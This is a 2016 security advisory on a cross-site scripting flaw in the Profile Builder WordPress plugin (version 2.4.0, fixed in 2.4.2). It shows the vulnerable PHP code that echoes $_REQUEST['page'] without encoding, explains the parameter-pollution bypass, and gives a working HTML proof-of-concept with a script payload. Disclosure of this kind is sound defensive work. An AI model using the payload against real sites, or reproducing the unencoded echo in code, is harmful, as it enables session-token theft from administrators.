Advisory

Yorick Koster, July 2016

Cross-Site Scripting vulnerability in Profile Builder WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Profile Builder WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

OVE ID

OVE-20160712-0014

Tested versions

This issue was successfully tested on Profile Builder - front-end user registration, user profile and user login WordPress Plugin version 2.4.0.

Fix

This issue is resolved in Profile Builder version 2.4.2.

Introduction

The Profile Builder WordPress Plugin is a simple to use profile plugin allowing front-end login, user registration and edit profile by using shortcodes. A Cross-Site Scripting vulnerability was found in the Profile Builder WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Details

The issue exists in the file class-email-confirmation.php and is caused by the lack of output encoding on the page request parameter. The vulnerable code is listed below.

<form id="movies-filter" method="get">
   <!-- For plugins, we also need to ensure that the form posts back to our current page -->
   <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>" />
   <!-- Now we can render the completed list table -->
   <?php $listTable->display() ?>
</form>

Normally, the page URL parameter is validated by WordPress, which prevents Cross-Site Scripting. However in this case the value of page is obtained from $_REQUEST, not from $_GET. This allows for parameter pollution where the attacker puts a benign page value in the URL and simultaneously submits a malicious page value as POST parameter.

Proof of concept

<html>
   <body>
      <form action="http://<target>/wp-admin/users.php?page=unconfirmed_emails" method="POST">
         <input type="hidden" name="page" value="&quot;<script>alert(document.cookie);</script>" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

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